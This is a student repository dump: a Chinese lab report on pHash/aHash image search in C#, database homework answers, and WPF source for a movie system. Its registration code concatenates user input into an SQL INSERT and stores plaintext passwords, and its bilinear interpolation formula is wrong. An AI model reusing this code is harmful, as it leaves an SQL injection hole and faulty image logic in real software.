) { if (x < 0) return 0; if (x > 255) return 255; return (int)x; } public int[,] getGrayArray( Bitmap curBitmap ) { int height = curBitmap.Height, width = curBitmap.Width; int[,] gray = new int[height, width]; for (int j = 0; j < height; j++) { for (int i = 0; i < width; i++) { var curColor = curBitmap.GetPixel(i, j);//获取当前像素的颜色值 //转化为灰度值 int m = (int)(curColor.R * 0.299 + curColor.G * 0.587 + curColor.B * 0.114); if (m > 255) m = 255; if (m < 0) m = 0; gray[j, i] = m; } } return gray; } public Bitmap shrink( string filename, int nW = 32, int nH = 32 ) { Bitmap curBitmap = (Bitmap)Image.FromFile(filename); Bitmap newBitmap = new Bitmap(nW, nH); int width = curBitmap.Width, height = curBitmap.Height; double fw = nW / (double)(width), fh = nH / (double)(height); for (int i = 0; i < nH; ++i) { for (int j = 0; j < nW; ++j) { double posW = j / fw, posH = i / fh; int a_w = (int)(posW), a_h = (int)(posH + 1); int d_w = (int)(posW), d_h = (int)(posH); int b_w = (int)(posW + 1), b_h = (int)(posH + 1); if (b_h >= height){ a_h--; b_h--; } int c_w = (int)(posW + 1), c_h = (int)(posH); if (c_w >= width) { c_w--; b_w--; } Color a = curBitmap.GetPixel(a_w, a_h); Color b = curBitmap.GetPixel(b_w, b_h); Color c = curBitmap.GetPixel(c_w, c_h); Color d = curBitmap.GetPixel(d_w, d_h); double ans_up_r, ans_down_r, ans_r; double ans_up_b, ans_down_b, ans_b; double ans_up_g, ans_down_g, ans_g; ans_up_r = 1.0 * (a.R - b.R) * (posW - a_w) * (posW - a_w) + a.R; ans_down_r = 1.0 * (c.R - d.R) * (posW - d_w) * (posW - d_w) + d.R; ans_r = (ans_up_r - ans_down_r) * (posH - c_h) + ans_down_r; ans_up_g = 1.0 * (a.G - b.G) * (posW - a_w) * (posW - a_w) + a.G; ans_down_g = 1.0 * (c.G - d.G) * (posW - d_w) * (posW - d_w) + d.G; ans_g = (ans_up_g - ans_down_g) * (posH - c_h) + ans_down_g; ans_up_b = 1.0 * (a.B - b.B) * (posW - a_w) * (posW - a_w) + a.B; ans_down_b = 1.0 * (c.B - d.B) * (posW - d_w) * (posW - d_w) + d.B; ans_b = (ans_up_b - ans_down_b) * (posH - c_h) + ans_down_b; newBitmap.SetPixel(j, i, Color.FromArgb(filter(ans_r), filter(ans_g), filter(ans_b)) ); } } return newBitmap; } public Martrix dctTrans( int[,] gray ) { Martrix dctMartrix = new Martrix(), grayMartrix = new Martrix(gray); dctMartrix.GetDctMartrix(32); var ans = dctMartrix.multy(grayMartrix); dctMartrix.Reverse(); ans = ans.multy(dctMartrix); return ans; } public double[,] getDcCoff( Martrix dctCoff ) { double[,] ans = new double[8, 8]; for( int i = 0; i < 8; ++ i ) for( int j = 0; j < 8; ++ j ) ans[i, j] = dctCoff.martrix[i, j]; return ans; } public double getAve( double[,] dcCoff ) { int width = dcCoff.GetLength(1), height = dcCoff.GetLength(0); double ave = 0; for (int i = 0; i < height; ++i) for (int j = 0; j < width; ++j) ave += dcCoff[i, j]; ave /= width * height; return ave; } public string getPHash(string filename) { string ans = ""; var smallBitMap = shrink(filename); shrink(filename, 1024, 1024); var gray = getGrayArray(smallBitMap); var dctCoff = dctTrans(gray); var dcCoff = getDcCoff(dctCoff); var ave = getAve(dcCoff); for( int i = 0; i < 8; ++ i ) { for( int j = 0; j < 8; ++ j ) { if (dcCoff[i, j] < ave) ans += "1"; else ans += "0"; } } return ans; } ``` ​ 以下是各个部分的详细说明。 #### 图片缩放 ```c# private int filter( double x ) //将大于255设置成255,小于0的部分设置为0,防止数据溢出 { if (x < 0) return 0; if (x > 255) return 255; return (int)x; } public Bitmap shrink( string filename, int nW = 32, int nH = 32 ) { Bitmap curBitmap = (Bitmap)Image.FromFile(filename); Bitmap newBitmap = new Bitmap(nW, nH); int width = curBitmap.Width, height = curBitmap.Height; double fw = nW / (double)(width), fh = nH / (double)(height); for (int i = 0; i < nH; ++i) { for (int j = 0; j < nW; ++j) //对各个颜色分量进行双线性插值 { double posW = j / fw, posH = i / fh; //利用缩放因子找出该像素应该在原图中的位置 int a_w = (int)(posW), a_h = (int)(posH + 1); int d_w = (int)(posW), d_h = (int)(posH); int b_w = (int)(posW + 1), b_h = (int)(posH + 1); if (b_h >= height){ a_h--; b_h--; } int c_w = (int)(posW + 1), c_h = (int)(posH); if (c_w >= width) { c_w--; b_w--; } Color a = curBitmap.GetPixel(a_w, a_h); Color b = curBitmap.GetPixel(b_w, b_h); Color c = curBitmap.GetPixel(c_w, c_h); Color d = curBitmap.GetPixel(d_w, d_h); double ans_up_r, ans_down_r, ans_r; double ans_up_b, ans_down_b, ans_b; double ans_up_g, ans_down_g, ans_g; ans_up_r = 1.0 * (a.R - b.R) * (posW - a_w) * (posW - a_w) + a.R; ans_down_r = 1.0 * (c.R - d.R) * (posW - d_w) * (posW - d_w) + d.R; ans_r = (ans_up_r - ans_down_r) * (posH - c_h) + ans_down_r; ans_up_g = 1.0 * (a.G - b.G) * (posW - a_w) * (posW - a_w) + a.G; ans_down_g = 1.0 * (c.G - d.G) * (posW - d_w) * (posW - d_w) + d.G; ans_g = (ans_up_g - ans_down_g) * (posH - c_h) + ans_down_g; ans_up_b = 1.0 * (a.B - b.B) * (posW - a_w) * (posW - a_w) + a.B; ans_down_b = 1.0 * (c.B - d.B) * (posW - d_w) * (posW - d_w) + d.B; ans_b = (ans_up_b - ans_down_b) * (posH - c_h) + ans_down_b; newBitmap.SetPixel(j, i, Color.FromArgb(filter(ans_r), filter(ans_g), filter(ans_b)) ); } } return newBitmap; } ``` ​ 由于采用了双线性差值算法,虽然该函数名为缩放,实际上不仅可以缩放,也可以对图片进行放大。这也解决了如果图像大小本身不足$$32\times 32$$的情况。 ​ 首先,读取原图片curBitmap,以规定的长宽建立一个新图片newBitmap。然后计算缩放比例。fw为宽的缩放比例,fh为搞的缩放比例。随后,对新图片的每个像素进行遍历,并通过缩放比例计算出该像素在原图像的位置,这样该点的坐标就有可能是浮点数,为了得到该处像素的取值,可以使用双线性差值算法。 ​ 例如,对于图像: ![image-20200608221821111](pHash.assets/image-20200608221821111.png) ​ 点$(x',y')$的像素值可以又以下公式计算得到: $$\begin{aligned} g(E) &=\left(x^{\prime}-i\right)[g(B)-g(A)]+g(A) \\ g(F) &=\left(x^{\prime}-i\right)[g(D)-g(C)]+g(C) \\ g\left(x^{\prime}, y^{\prime}\right) &=\left(y^{\prime}-j\right)[g(F)-g(E)]+g(E) \end{aligned}$$ ​ 这样对于各个颜色分量分别处理,最后就可以得到缩小或者放大后的图像。 #### 获取灰度图像 ```c# public int[,] getGrayArray( Bitmap curBitmap ) { int height = curBitmap.Height, width = curBitmap.Width; int[,] gray = new int[height, width]; for (int j = 0; j < height; j++) { for (int i = 0; i < width; i++) { var curColor = curBitmap.GetPixel(i, j);//获取当前像素的颜色值 //转化为灰度值 int m = (int)(curColor.R * 0.299 + curColor.G * 0.587 + curColor.B * 0.114); if (m > 255) m = 255; if (m < 0) m = 0; gray[j, i] = m; } } return gray; } ``` ​ 对图像的每一个像素进行遍历,然后利用亮度方程,将r,g,b分量转换成y分量。并将结果保存在灰度数组里。最后返回灰度数组。 #### DCT变换 ```c# public Martrix dctTrans( int[,] gray ) { Martrix dctMartrix = new Martrix(), grayMartrix = new Martrix(gray); dctMartrix.GetDctMartrix(32); var ans = dctMartrix.multy(grayMartrix); dctMartrix.Reverse(); ans = ans.multy(dctMartrix); return ans; } ``` ​ 先将灰度数组转换成矩阵形式,再取一个$32\times 32$的DCT矩阵,然后利用DCT变换的矩阵形式完成DCT变换,返回DCT变换后的矩阵。 #### 获取左上角8x8的低频分量 ```c# public double[,] getDcCoff( Martrix dctCoff ) { double[,] ans = new double[8, 8]; for( int i = 0; i < 8; ++ i ) for( int j = 0; j < 8; ++ j ) ans[i, j] = dctCoff.martrix[i, j]; return ans; } ``` ​ 这个很简单,将左上角的部分单独保存下来就好了。 #### 获取平均值 ```c# public double getAve( double[,] dcCoff ) { int width = dcCoff.GetLength(1), height = dcCoff.GetLength(0); double ave = 0; for (int i = 0; i < height; ++i) for (int j = 0; j < width; ++j) ave += dcCoff[i, j]; ave /= width * height; return ave; } ``` ​ 将DCT矩阵中的所有系数加起来除以系数总数,即可得到平均值。 #### 获取pHash指纹 ```c# public string getPHash(string filename) { string ans = ""; var smallBitMap = shrink(filename); shrink(filename, 1024, 1024); var gray = getGrayArray(smallBitMap); var dctCoff = dctTrans(gray); var dcCoff = getDcCoff(dctCoff); var ave = getAve(dcCoff); for( int i = 0; i < 8; ++ i ) for( int j = 0; j < 8; ++ j ) if (dcCoff[i, j] < ave) ans += "1"; else ans += "0"; return ans; } ``` ​ 即将上边的过程进行一遍,得到了DCT低频的系数和平均值。小于平均值令该位为1,大于等于则为0。扫描方式为先从上到下,然后再从左到右,最后获得指纹。 ### 相似度比较 ```c# public int pHashCompare( string a, string b ) { int cnt = 0; for (int i = 0; i < a.Length; ++i) if (a[i] == b[i]) cnt++; return cnt; } ``` ​ 即遍历两个图像的指纹,返回相同位置取值一样的个数。个数越多说明二者越相似。 ### 与数据库结合部分 ​ 再函数中添加如下语句: ```c# private void imageSearch_Click(object sender, RoutedEventArgs e) { try { imageSearch imgSearch = new imageSearch(); //add by center var pHash = imgSearch.getPHash(image.Text); //获取上载图像的phash指 int[] imgOrder = imgSearch.pHashSearchResult(pHash);///获取与数据库中图像的比较结果 count = 0; n = 0; .... } } ``` ​ pHashSearchResult的实现如下: ```c# ![oA](../../../../../Desktop/database/oA.jpgpublic int[] pHashSearchResult(string pHash) { int[] imgOrder = new int[100]; int n = 0; string sql = "select img_info from db_movie_info"; MySqlConnection conn = new MySqlConnection(Conn); conn.Open(); MySqlCommand cmd = new MySqlCommand(sql, conn); MySqlDataReader reader = cmd.ExecuteReader(); while (reader.Read()) { imgOrder[n++] = pHashCompare(reader["img_info"].ToString(), pHash); //读取每一张图片的灰度信息,与上传的信息相比较,得到有多少灰度等级的频率不同 //最后将比较结果按照顺序存放在imgOrder里边 } reader.Close(); int[] index = sortDistance(imgOrder);//调用自定义排序方法 return index; } private int[] sortDistance(int[] imgOrder) { int len = imgOrder.Length; int[] index = new int[len]; int temp; for (int i = 0; i < len; i++) index[i] = i;//用于存储下标 for (int j = 0; j < len; j++) for (int i = 0; i < len - j - 1; i++)//降序排序 { if (imgOrder[i] < imgOrder[i + 1]) { //交换数值 temp = imgOrder[i]; imgOrder[i] = imgOrder[i + 1]; imgOrder[i + 1] = temp; //交换下标 temp = index[i]; index[i] = index[i + 1]; index[i + 1] = temp; } } return index; } ``` 获取数据库中的所有指纹值,随后利用冒泡排序于当前要潮汛的图片进行比对,获取排序后的结果,该处实际上只是返回了排序后下标值。当然,冒泡排序的算法复杂度较高,为$O(n^2)$,为了节省时间可以考虑使用归并排序或者快速排序来进行实现。但鉴于本次实验数据较少,故仍采用冒泡排序。 ### aHash算法 为了进行实验对比,可以利用上边的函数对aHash算法进行实现。 ```c# public string getAHash(string filename) { string ans = ""; var smallBitMap = shrink(filename, 8, 8); var gray = getGrayArray(smallBitMap); double ave = 0; for (int i = 0; i < 8; ++i) for (int j = 0; j < 8; ++j) ave += gray[i, j]; ave /= 64; for (int i = 0; i < 8; ++i) { for (int j = 0; j < 8; ++j) { if (gray[i, j] < ave) ans += "1"; else ans += "0"; } } return ans; } ``` ## 算法性能分析 ### 算法优缺点 **优点**: ​ 要了解pHash的优点,首先要了解以下aHash算法。aHash算法,也就是均值哈希算法。该比pHash算法稍微简单一些,首先要将图片缩小,变成$8\times 8$的块,消除一些图片细节;随后要将彩色图像变成灰度图像。之后再计算灰度图像的均值,然后生成指纹。 ​ 从上述描述过程可以看出,均值哈希的优点是简单快捷,不受图片大小影响。但是缺点是受均值影响很大。如果对图片机型γ矫正,或者直方图均衡,那么均值就会发生变换,从而影响指纹的生成,进而造成最终结果的偏差。 ​ 而pHash算法就解决了这个问题。它对于图片的形变具有一定的鲁棒性。科学研究发现,只要变形不超过25%,就可以识别出来原图。由于使用灰度图,且指纹使用的是灰度值与均值比较得到的,因此能容忍一定的色差。除了aHash具有的优点外,pHash算法还能较好的实现尺度不变性。 **缺点**: 首先是计算复杂度比较高。 * 对于均值hash来说,计算缩小后的图片只需要处理$8 \times 8$个像素点。后无论是转换成灰度还是取平均,直到最后生成指纹,需要处理的只有$8\times 8$个数据。粗略的计算,算法复杂度约为$O(64\times3+64\times3+64+64)$。 * 而对于pHash来说,缩小图片后为$32\times 32$,转换成灰度也需要$32\times 32$个像素。随后DCT变换则需要$32^3$次运算,再次求平均,然后才能获得数据,粗略计算,算法复杂度约为$O(32^2\times 3+32^2\times 3+32^3+8\times 8 \times 2+ 8 \times 8)$,相对于aHash明显复杂。但总体而言,二者复杂度都是常数级别,还是挺快的。 其次,对于图片的旋转效果处理不理想,不能实现旋转不变性。 另外,pHash算法不能比较准确的结合颜色比较相似度。 最后,由于pHash对图像进行了缩小。所以如果数据库中同时存在原图和缩小后的图像,该算法无法将这两个图像进行区分。同时,缩小忽略了部分细节,对于大部分相似但细节不同的图像无法起到较好的区分作用。 ### 实验测试思路 利用控制变量法进行测试。 对于优点: ​ 分别采用滤镜处理后的图片、旋转的图片进行测试,比较aHash与于pHash与原算法(灰度直方图)对于同样图片的处理结果。即对于同一张图片,比较不同算法处理后的结果。 对于缺点: ​ 使用一张相似图片,比较pHash对于该图片的旋转之后,与不旋转时的处理结果。即同一个算法,比较对于旋转和不旋转图片的处理结果。 ​ ## 实验测试 ### 优点 #### 测试图片 测试组1: | 原图 | 旋转图像 | 增加滤镜的图像 | | ---------------------------------------------- | ---------------------------------------------- | -------------------------------------- | | ![你的名字原版](pHash.assets/你的名字原版.jpg) | ![你的名字旋转](pHash.assets/你的名字旋转.jpg) | ![你的名字](pHash.assets/你的名字.jpg) | 测试组2 | 原图 | 缩小后的图像 | 比例变换后的图像 | | ------------------------------ | ---------------------------------------- | -------------------------------------- | | ![三体](pHash.assets/三体.jpg) | ![saved_img](pHash.assets/saved_img.jpg) | ![三体方型](pHash.assets/三体方型.jpg) | 并添加测试代码以保存指纹图像。由于$8\times8$的图像太小,肉眼不易看清,所以我将其进行放大为$32\times 32$大小的图像。 ```c# void SaveHashImage(string hash, string name) { Bitmap newBitmap = new Bitmap(32, 32); string path = "C:\\Users\\MSI-PC\\Desktop\\database\\" + name; for( int i = 0; i < 32; ++ i ) { for( int j = 0; j < 32; ++ j ) { int pos = 8 * (i / 4) + j / 4; if( hash[pos] == '0') { var t = System.Drawing.Color.FromArgb(0, 0, 0); newBitmap.SetPixel(i, j, t); } else { var t = System.Drawing.Color.FromArgb(255, 255, 255); newBitmap.SetPixel(i, j, t); } } } newBitmap.Save(path); } ``` #### 测试结果 测试组1: | 图像 | pHash值 | aHash值 | pHash算得可信度 | aHash算得可信度 | | -------------- | ---------------------------------------- | ---------------------------------------- | --------------- | --------------- | | 原图 | ![op](pHash.assets/op-1591684641673.jpg) | ![oA](pHash.assets/oA-1591684645346.jpg) | 100% | 100% | | 旋转图像 | ![pP](pHash.assets/pP.jpg) | ![pA](pHash.assets/pA.jpg) | 64.1% | 37.5% | | 增加滤镜的图像 | ![pP](pHash.assets/pP-1591684829929.jpg) | ![pA](pHash.assets/pA-1591684825518.jpg) | 76.5% | 71.8% | 测试组2: | 图像 | pHash值 | aHash值 | pHash算得可信度 | aHash算得可信度 | | ---------------- | ---------------------------------------- | ---------------------------------------- | --------------- | --------------- | | 原图 | ![op](pHash.assets/op-1591685785102.jpg) | ![oA](pHash.assets/oA-1591685781354.jpg) | 100% | 100% | | 缩小后的图像 | ![pP](pHash.assets/pP-1591685858272.jpg) | ![pA](pHash.assets/pA-1591685861159.jpg) | 96.8% | 93.7% | | 比例变换后的图像 | ![pP](pHash.assets/pP-1591686019508.jpg) | ![pA](pHash.assets/pA-1591686023533.jpg) | 98.4% | 98.4% | #### 原因分析 ​ 通过上述实验我们可以看出,对于缩放或者放大过的图像,二者效果较好,但并不是百分之白完全一致。究其原因,应该是放大和缩小改变了部分图片的结构,添加或者损耗了部分信息。并且,对于缩小的图像,pHash效果强于aHash。 ​ 同时,对于旋转或者添加滤镜后的图像,pHash的效果明显强于aHash。综合而言,pHash效果更优一些。因为pHash主要考虑的是低频成分,即变换量。而aHash则是简单的平均。当像素发生非线性变换的时候,往往就难以处理。 ### 缺点 #### 测试图片 | 原图 | 反转后的图像 | | ------------------------------------------------------------ | ---------------------------------------------- | | ![你的名字原版](pHash.assets/你的名字原版-1591686921617.jpg) | ![你的名字反转](pHash.assets/你的名字反转.jpg) | #### 测试结果 | 图像 | pHash值 | aHash值 | pHash算得可信度 | aHash算得可信度 | | -------- | ---------------------------------------- | ---------------------------------------- | --------------- | --------------- | | 原图 | ![op](pHash.assets/op-1591684641673.jpg) | ![oA](pHash.assets/oA-1591684645346.jpg) | 100% | 100% | | 反转图像 | ![pP](pHash.assets/pP-1591687081485.jpg) | ![pA](pHash.assets/pA-1591687075855.jpg) | 60.9% | 62.5% | 再数据库中进行查询时,也会给出错误的顺序: ![image-20200609152314547](pHash.assets/image-20200609152314547.png) 如图所示,第二个才是真正想要的图片。 #### 原因分析 ​ 可见对于反转角度过大的情况,pHash算法甚至不如aHash算法。原因主要是水平和垂直的变换情况就会有所不同。并且由于指纹只有64位,用这些位数可能还是不足以表示如此巨量的信息。容易造成图片之间指纹相似性较高。 ### 小结 ​ 所谓hash算法,即通过一系列的操作生成图像的独特指纹。无论是aHash、pHash还是dHash,基本过程无非是缩小图片,转换灰度,然后将其变换到某个域,设定一个阈值,大于这个阈值设定成某个数,小于这个阈值就设定成另一个数。可以看到,这种算法受变换到的域和设定的阈值影响较大。 ​ pHash算法是一种较为简单快速的感知散列算法,可以实现相似图片的搜索的功能。由于使用灰度图,且指纹使用的是灰度值与均值比较得到的,因此能容忍一定的色差。除了aHash具有的优点外,pHash算法还能较好的实现尺度不变性。但是该算法对于旋转操作非常敏感,图片一旦发生旋转,生成的指纹就会发生较大的变化,这是该算法最大的缺点。<file_sep>/课后作业/作业1.md #### 第一次作业 3.19 4. **举出适合用文件系统而不是数据库系统的例子,以及适合用数据库系统的应用例子。** 适合文件系统:数据的备份、程序使用过程中的临时文件、早期功能简单固定的应用系统。 适合数据库系统:信息管理系统、学生管理系统、身份证系统、应用程序的用户信息管理系统。考虑安全性,完整性。 关注存储的特点。 6. **数据库管理系统的主要功能有哪些?** * 数据定义 * 数据组织、存储和管理 * 数据操纵功能 * 数据库事务管理和运行管理 * 数据库的建立和维护 * 其他功能 要点:究竟是什么身份。DBMS负责整个数据库从无到有过程中所有数据的操作及维护,以及权限管理,并发,完整,备份与回复、权限管理。 13. **试述关系模型的概念,定义并解释以下术语:** 关系模型由关系数据结构、关系操作集合和关系完整性约束三部分组成。在用户观点下,关系模型中数据的逻辑结构是一张二维表,它由行和列组成。 两点:本身的概念,逻辑数据模型,三要素以及用户角度。 **关系,属性,域,元组,码,分量,关系模式** * 关系(Relation):一张(二维)表格 * 元组(Tuple):表中一行 * 属性(Attribute):表中一列 * 码(Key):唯一确定一个元组的某个属性组 * 域(Domain):属性的取值范围 * 分量:元组中的一个属性值 * 关系模式:对关系的描述–即关系中的表头 15. **试述数据库系统的三级模式结构,并说明这种结构的优点是什么。** 数据库系统三级结构由外模式、模式和内模式三级构成。 ![image-20200319195037182](作业1.assets/image-20200319195037182.png) * 模式(逻辑模式) * 全体数据的逻辑结构和特征的描述,是所有用户的公共数据试图。 * 不涉及物理存储细节和硬件环境,与具体应用程序和开发工具无关。 * 模式是数据库数据在逻辑级上的试图,一个数据库只有一个模式,综合考虑了所有用户的需求并将其结合成一个逻辑整体。 * 外模式(子模式/用户模式) * 是数据库用户能够看到和使用的局部数据的逻辑结构和特征描述,是数据库用户的数据试图,是与某一应用有关的逻辑表示。 * 内模式(存储模式) * 一个数据库只有一个内模式。是数据物理结构和存储方式的描述,是数据在数据库内部的组织方式。 数据库三级系统模式可以是用户在逻辑层面处理数据,而不必关心数据在计算机中的表示和存储。 **优点**: * 保证了数据的相对独立性 * 简化用户接口(只考虑相关的外模式) * 有利于数据共享 * 有利于安全保密 * 提高应用系统开发效 17. **什么叫数据与程序的物理独立性?什么叫数据与程序的逻辑独立性?为什么数据库系统具有数据与程序的逻辑独立性?** **物理独立性**: 模式/内模式映像是唯一的,定义了数据全局逻辑结构与存储结构之间的对应关系。当数据库存储结构改变时,可通过该映像的相应改变来确保模式不需改变,从而应用程序也就不需改变了。 **逻辑独立性 **: 对于每个外模式,由映像定义其与外模式之间的对应关系。当模式改变时,对各个外模式/模式的映像做相应改变即可,不需修改外模式,由于程序针对外模式来进行编写的,也就不需修改应用程序。 数据库管理系统在三级模式之间提供的两层映像保证了数据库系统中的数据能够具有较高的逻辑独立性和物理独立性。 w<file_sep>/实验报告/20200521/myMovieSystem/myMovieSystem/register.xaml.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Imaging; using System.Windows.Shapes; using MySql.Data.MySqlClient; namespace myMovieSystem { /// <summary> /// register.xaml 的交互逻辑 /// </summary> public partial class register : Window { public static string Conn = "Server=localhost;User Id=root1;password=<PASSWORD>;Database=dbclass;Charset=utf8"; public register() { InitializeComponent(); } private void send_Click(object sender, RoutedEventArgs e) { String userName = nameBox.Text;//填写文本框传递过来的用户名 String userPassword = passwordBox.Text;//填写文本框传递过来的密码 String email = emailBox.Text;//填写文本框传递过来的邮箱 if (userName == "" || userPassword == "" || email == "") { MessageBox.Show("用户名、密码、邮箱均需填写!"); return; } else if (!email.Contains("@") || !email.Contains("."))//判断email中是否包含@和. { MessageBox.Show("请填写正确的邮箱格式!"); return; } else { try { MySqlConnection connection = new MySqlConnection(Conn); connection.Open(); string sql = "insert into db_user value('" + userName + "','" + userPassword + "','" + email + "');";//填写插入语句 MySqlCommand cmd = new MySqlCommand(sql, connection); cmd.ExecuteNonQuery(); MessageBox.Show("注册成功!"); //填写跳转到登录页面的代码 MainWindow mw = new MainWindow(); mw.Show(); this.Close(); } catch { MessageBox.Show("连接数据库失败"); return; } } } private void back_Click(object sender, RoutedEventArgs e) { //填写跳转到登录页面的代码 MainWindow mw = new MainWindow(); mw.Show(); this.Close(); } private void nameBox_TextChanged(object sender, TextChangedEventArgs e) { } } } <file_sep>/实验报告/20200521/myMovieSystem/myMovieSystem/imageSearch.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; using MySql.Data.MySqlClient; namespace myMovieSystem { class Martrix { public int width, height; public double[,] martrix; public Martrix( int h = 32, int w = 32 ) { width = w; height = h; martrix = new double[h, w]; for (int i = 0; i < height; ++i) for (int j = 0; j < width; ++j) martrix[i, j] = 0; } public Martrix( int[,] array ) { height = array.GetLength(0); width = array.GetLength(1); martrix = new double[height, width]; for ( int i = 0; i < height; ++ i ) for( int j = 0; j < width; ++ j ) martrix[i, j] = (double)(array[i, j]); } public Martrix multy(Martrix b) { Martrix ans = new Martrix( height, b.width ); for( int i = 0; i < height; ++ i ) for( int j = 0; j < b.width; ++ j ) for( int k = 0; k < width; ++ k ) ans.martrix[i, j] += martrix[i, k] * b.martrix[k,j]; return ans; } public void Reverse() { double[,] tmp = new double[width, height]; for( int i = 0; i < height; ++ i ) for( int j = 0; j < width; ++ j ) tmp[j, i] = martrix[i, j]; width ^= height; height ^= width; width ^= height; martrix = tmp; } public void GetDctMartrix( int N ) { width = height = N; double a; martrix = new double[N, N]; for( int i = 0; i < N; ++ i ) { for( int j = 0; j < N; ++ j ) { if (i == 0) a = Math.Sqrt(1.0 / N); else a = Math.Sqrt(2.0 / N); martrix[i, j] = a * Math.Cos((j + 0.5) * Math.PI * i / N); } } } } class imageSearch { public static string Conn = "Server=localhost;User Id=root1;password=<PASSWORD>;Database=dbclass;Charset=utf8"; //获取图像灰度值 private int filter( double x ) { if (x < 0) return 0; if (x > 255) return 255; return (int)x; } public int[,] getGrayArray( Bitmap curBitmap ) { int height = curBitmap.Height, width = curBitmap.Width; int[,] gray = new int[height, width]; for (int j = 0; j < height; j++) { for (int i = 0; i < width; i++) { var curColor = curBitmap.GetPixel(i, j);//获取当前像素的颜色值 //转化为灰度值 int m = (int)(curColor.R * 0.299 + curColor.G * 0.587 + curColor.B * 0.114); if (m > 255) m = 255; if (m < 0) m = 0; gray[j, i] = m; } } return gray; } public Bitmap shrink( string filename, int nW = 32, int nH = 32, string name = "saved_img.jpg" ) { Bitmap curBitmap = (Bitmap)Image.FromFile(filename); Bitmap newBitmap = new Bitmap(nW, nH); int width = curBitmap.Width, height = curBitmap.Height; double fw = nW / (double)(width), fh = nH / (double)(height); for (int i = 0; i < nH; ++i) { for (int j = 0; j < nW; ++j) { double posW = j / fw, posH = i / fh; int a_w = (int)(posW), a_h = (int)(posH + 1); int d_w = (int)(posW), d_h = (int)(posH); int b_w = (int)(posW + 1), b_h = (int)(posH + 1); if (b_h >= height){ a_h--; b_h--; } int c_w = (int)(posW + 1), c_h = (int)(posH); if (c_w >= width) { c_w--; b_w--; } Color a = curBitmap.GetPixel(a_w, a_h); Color b = curBitmap.GetPixel(b_w, b_h); Color c = curBitmap.GetPixel(c_w, c_h); Color d = curBitmap.GetPixel(d_w, d_h); double ans_up_r, ans_down_r, ans_r; double ans_up_b, ans_down_b, ans_b; double ans_up_g, ans_down_g, ans_g; ans_up_r = 1.0 * (a.R - b.R) * (posW - a_w) * (posW - a_w) + a.R; ans_down_r = 1.0 * (c.R - d.R) * (posW - d_w) * (posW - d_w) + d.R; ans_r = (ans_up_r - ans_down_r) * (posH - c_h) + ans_down_r; ans_up_g = 1.0 * (a.G - b.G) * (posW - a_w) * (posW - a_w) + a.G; ans_down_g = 1.0 * (c.G - d.G) * (posW - d_w) * (posW - d_w) + d.G; ans_g = (ans_up_g - ans_down_g) * (posH - c_h) + ans_down_g; ans_up_b = 1.0 * (a.B - b.B) * (posW - a_w) * (posW - a_w) + a.B; ans_down_b = 1.0 * (c.B - d.B) * (posW - d_w) * (posW - d_w) + d.B; ans_b = (ans_up_b - ans_down_b) * (posH - c_h) + ans_down_b; newBitmap.SetPixel(j, i, Color.FromArgb(filter(ans_r), filter(ans_g), filter(ans_b)) ); //ans_up = 1.0 * (inBuffer[at(b_h, b_w)] - inBuffer[at(a_h, a_w)]) * (posW - a_w) + inBuffer[at(a_h, a_w)]; //ans_down = 1.0 * (inBuffer[at(c_h, c_w)] - inBuffer[at(d_h, d_w)]) * (posW - d_w) + inBuffer[at(d_h, d_w)]; //ans = (ans_up - ans_down) * (posH - d_h) + ans_down; } } string path = "C:\\Users\\MSI-PC\\Desktop\\database\\" + name; var sBitmap = new Bitmap(curBitmap, 50, 50); sBitmap.Save(path); return newBitmap; } public Martrix dctTrans( int[,] gray ) { Martrix dctMartrix = new Martrix(), grayMartrix = new Martrix(gray); dctMartrix.GetDctMartrix(32); var ans = dctMartrix.multy(grayMartrix); dctMartrix.Reverse(); ans = ans.multy(dctMartrix); return ans; } public double[,] getDcCoff( Martrix dctCoff ) { double[,] ans = new double[8, 8]; for( int i = 0; i < 8; ++ i ) for( int j = 0; j < 8; ++ j ) ans[i, j] = dctCoff.martrix[i, j]; return ans; } public double getAve( double[,] dcCoff ) { int width = dcCoff.GetLength(1), height = dcCoff.GetLength(0); double ave = 0; for (int i = 0; i < height; ++i) for (int j = 0; j < width; ++j) ave += dcCoff[i, j]; ave /= width * height; return ave; } public string getPHash(string filename) { string ans = ""; var smallBitMap = shrink(filename); var gray = getGrayArray(smallBitMap); var dctCoff = dctTrans(gray); var dcCoff = getDcCoff(dctCoff); var ave = getAve(dcCoff); for( int i = 0; i < 8; ++ i ) { for( int j = 0; j < 8; ++ j ) { if (dcCoff[i, j] < ave) ans += "1"; else ans += "0"; } } return ans; } public string getAHash(string filename) { string ans = ""; var smallBitMap = shrink(filename, 8, 8); var gray = getGrayArray(smallBitMap); double ave = 0; for (int i = 0; i < 8; ++i) for (int j = 0; j < 8; ++j) ave += gray[i, j]; ave /= 64; for (int i = 0; i < 8; ++i) { for (int j = 0; j < 8; ++j) { if (gray[i, j] < ave) ans += "1"; else ans += "0"; } } return ans; } public int pHashCompare( string a, string b ) { int cnt = 0; for (int i = 0; i < a.Length; ++i) if (a[i] == b[i]) cnt++; return cnt; } public string getGray(string filename) { Bitmap curBitmap = (Bitmap)Image.FromFile(filename); int width = curBitmap.Width; int height = curBitmap.Height; Color curColor; int[] gray = new int[256]; for (int j = 0; j < height; j++) { for (int i = 0; i < width; i++) { curColor = curBitmap.GetPixel(i,j);//获取当前像素的颜色值 //转化为灰度值 int m = (int)(curColor.R * 0.299 + curColor.G * 0.587 + curColor.B * 0.114); if (m > 255) m = 255; if (m < 0) m = 0; gray[m]++;//该数组存放的是某一灰度出现次数。上面出现了m,所以灰度m的出现次数要加一。 } } string g = string.Join(",", gray);//将数组转化为字符串存储 return g; } //比较灰度直方图 public int compare(string sqlImageGray, string upImageGray) { int count = 0; string [] sqlGray = sqlImageGray.Split(','); string[] upGray = upImageGray.Split(','); for (int i = 0; i < 256; i++) if (sqlGray[i] == upGray[i]) count++; /* 比较的方法: * 遍历每一个灰度等级,比较二者的出现频率是否一致,如果不一致则count计数加1 * 返回值意义: * 返回出现频率不一样的灰度等级的个数 */ return count; } //搜索数据库,按相似度顺序返回比较结果 public int[] pHashSearchResult(string pHash) { int[] imgOrder = new int[100]; int n = 0; string sql = "select img_info from db_movie_info"; MySqlConnection conn = new MySqlConnection(Conn); conn.Open(); MySqlCommand cmd = new MySqlCommand(sql, conn); MySqlDataReader reader = cmd.ExecuteReader(); while (reader.Read()) { imgOrder[n++] = 